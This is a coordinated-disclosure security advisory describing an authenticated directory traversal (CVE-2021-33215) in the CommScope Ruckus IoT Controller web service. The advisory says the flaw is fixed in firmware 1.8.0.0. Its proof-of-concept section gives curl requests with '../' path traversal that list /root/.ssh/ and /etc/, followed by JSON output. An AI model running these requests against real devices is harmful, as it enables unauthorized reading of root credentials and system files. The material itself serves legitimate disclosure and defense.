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CommScope Ruckus IoT Controller 1.7.1.0 Web Application Directory Traversal

CommScope Ruckus IoT Controller 1.7.1.0 Web Application Directory Traversal
Posted May 27, 2021
Authored by Jim Becher | Site korelogic.com

A Python script (web.py) for a Dockerized webservice contains a directory traversal vulnerability, which can be leveraged by an authenticated attacker to view the contents of directories on the IoT Controller.

tags | exploit, web, python
advisories | CVE-2021-33215
SHA-256 | 671f09dc7253e2fd4b96a2bd934c4db733ea5c114369ba82a1d81b35d72836f3

CommScope Ruckus IoT Controller 1.7.1.0 Web Application Directory Traversal

Change Mirror Download
KL-001-2021-005: CommScope Ruckus IoT Controller Web Application Directory Traversal

Title: CommScope Ruckus IoT Controller Web Application Directory Traversal
Advisory ID: KL-001-2021-005
Publication Date: 2021.05.26
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2021-005.txt


1. Vulnerability Details

Affected Vendor: CommScope
Affected Product: Ruckus IoT Controller
Affected Version: 1.7.1.0 and earlier
Platform: Linux
CWE Classification: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'),
CWE-250: Execution with Unnecessary Privileges
CVE ID: CVE-2021-33215


2. Vulnerability Description

A Python script (web.py) for a Dockerized webservice contains
a directory traversal vulnerability, which can be leveraged by
an authenticated attacker to view the contents of directories
on the IoT Controller.


3. Technical Description

The CommScope Ruckus IoT Controller features a directory
traversal vulnerability that allows an authenticated attacker
to explore the IoT Controller's file system. The vulnerable
Python script is /VRIOT/ops/docker/webservice/web.py.

With the web application running as root, this allows for all
directories to be explored.

An authentication token is required. But a token is easily
obtained due to hard-coded, default, unchangeable web application
credentials (CVE-2021-33219).


4. Mitigation and Remediation Recommendation

The vendor has released an updated firmware (1.8.0.0) which
remediates the described vulnerability. Firmware and release
notes are available at:

https://www.commscope.com/globalassets/digizuite/917216-faq-security-advisory-id-20210525-v1-0.pdf


5. Credit

This vulnerability was discovered by Jim Becher (@jimbecher)
of KoreLogic, Inc.


6. Disclosure Timeline

2021.03.30 - KoreLogic submits vulnerability details to
CommScope.
2021.03.30 - CommScope acknowledges receipt and the intention
to investigate.
2021.04.06 - CommScope notifies KoreLogic that this issue,
along with several others reported by KoreLogic,
will require more than the standard 45 business
day remediation timeline.
2021.04.06 - KoreLogic agrees to extend disclosure embargo if
necessary.
2021.04.30 - CommScope informs KoreLogic that remediation for
this vulnerability will be available inside of the
standard 45 business day timeline. Requests
KoreLogic acquire CVE number for this
vulnerability.
2021.05.14 - 30 business days have elapsed since the
vulnerability was reported to CommScope.
2021.05.17 - CommScope notifies KoreLogic that the patched
version of the firmware will be available the week
of 2021.05.24.
2021.05.19 - KoreLogic requests CVE from MITRE.
2021.05.19 - MITRE issues CVE-2021-33215.
2021.05.25 - CommScope releases firmware 1.8.0.0 and associated
advisory.
2021.05.26 - KoreLogic public disclosure.


7. Proof of Concept

$ curl -k -H "Authorization: Token [valid token]"
'https://192.168.2.220/service/v1/node-red/static?path=/../../../../../../../../root/.ssh/'

{u'base_path': u'/VRIOT/node-red/static/../../../../../../../../root/.ssh/',
u'message': u'List',
u'response': [{u'is_dir': False,
u'is_file': True,
u'is_symlink': False,
u'name': u'known_hosts',
u'path': u'/VRIOT/node-red/static/../../../../../../../../root/.ssh/known_hosts',
u'showpath': u'https://192.168.2.220/node-static/../../../../../../../../root/.ssh/known_hosts',
u'st_atime': 1582707570.3173862,
u'st_ctime': 1582707550.1438398,
u'st_dev': 2049,
u'st_gid': 0,
u'st_ino': 132199,
u'st_mode': 33188,
u'st_mtime': 1582707550.1438398,
u'st_nlink': 1,
u'st_size': 963,
u'st_uid': 0}],
u'static_path': u'/VRIOT/node-red/static'}

The above output is a pretty-printed version of the JSON response returned.

$ curl -k -H "Authorization: Token [valid token]"
'https://192.168.2.220/service/v1/node-red/static?path=/../../../../../../../../etc/'
{u'base_path': u'/VRIOT/node-red/static/../../../../../../../../etc/',
u'message': u'List',
u'response': [{u'is_dir': True,
u'is_file': False,
u'is_symlink': False,
u'name': u'python3',
u'path': u'/VRIOT/node-red/static/../../../../../../../../etc/python3',
u'showpath': u'/../../../../../../../../etc/python3',
u'st_atime': 1610463245.7594006,
u'st_ctime': 1493664067.5699568,
u'st_dev': 2049,
u'st_gid': 0,
u'st_ino': 262743,
u'st_mode': 16877,
u'st_mtime': 1493664067.5699568,
u'st_nlink': 2,
u'st_size': 4096,
u'st_uid': 0},
{u'is_dir': True,
u'is_file': False,
u'is_symlink': False,
u'name': u'ldap',
u'path': u'/VRIOT/node-red/static/../../../../../../../../etc/ldap',
u'showpath': u'/../../../../../../../../etc/ldap',
u'st_atime': 1610463245.7594006,
u'st_ctime': 1527803641.495955,
u'st_dev': 2049,
u'st_gid': 0,
u'st_ino': 304157,
u'st_mode': 16877,
u'st_mtime': 1527803641.495955,
u'st_nlink': 2,
u'st_size': 4096,
u'st_uid': 0},
{u'is_dir': False,
u'is_file': True,
u'is_symlink': False,
u'name': u'rsyslog.conf',
u'path': u'/VRIOT/node-red/static/../../../../../../../../etc/rsyslog.conf',
u'showpath': u'https://192.168.2.220/node-static/../../../../../../../../etc/rsyslog.conf',
u'st_atime': 1609718505.600734,
u'st_ctime': 1493664067.573957,
u'st_dev': 2049,
u'st_gid': 0,
u'st_ino': 262833,
u'st_mode': 33188,
u'st_mtime': 1453934568.0,
u'st_nlink': 1,
u'st_size': 1371,
u'st_uid': 0},
{u'is_dir': True,
u'is_file': False,
u'is_symlink': False,
u'name': u'pacemaker',
u'path': u'/VRIOT/node-red/static/../../../../../../../../etc/pacemaker',
u'showpath': u'/../../../../../../../../etc/pacemaker',
u'st_atime': 1610463245.7674005,
u'st_ctime': 1550175549.2084513,
u'st_dev': 2049,
u'st_gid': 0,
u'st_ino': 267639,
u'st_mode': 16877,
u'st_mtime': 1550175549.2084513,
u'st_nlink': 2,
u'st_size': 4096,
u'st_uid': 0},
...
...

The above output is a pretty-printed version of the JSON response returned.



The contents of this advisory are copyright(c) 2021
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt

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